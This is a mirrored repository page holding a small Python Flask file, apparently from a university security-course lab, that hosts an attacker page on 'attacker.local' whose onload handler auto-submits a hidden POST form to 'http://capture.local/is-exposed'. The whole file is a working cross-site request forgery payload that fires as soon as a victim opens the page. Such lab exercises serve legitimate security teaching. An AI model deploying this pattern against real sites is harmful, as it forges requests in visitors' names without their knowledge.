mirror of
https://github.com/20kaushik02/CSE545_SS_Work.git
synced 2025-12-06 06:34:06 +00:00
19 lines
412 B
Python
19 lines
412 B
Python
from flask import Flask, render_template_string
|
|
|
|
app = Flask("pwnc")
|
|
|
|
|
|
@app.route("/")
|
|
def hello():
|
|
# auto-submit on page load
|
|
html_form = """<html>
|
|
<body onload="document.getElementById('leakForm').submit();">
|
|
<form id="leakForm" action="http://capture.local/is-exposed" method="POST" />
|
|
</body>
|
|
</html>
|
|
"""
|
|
return render_template_string(html_form)
|
|
|
|
|
|
app.run("attacker.local", 9999)
|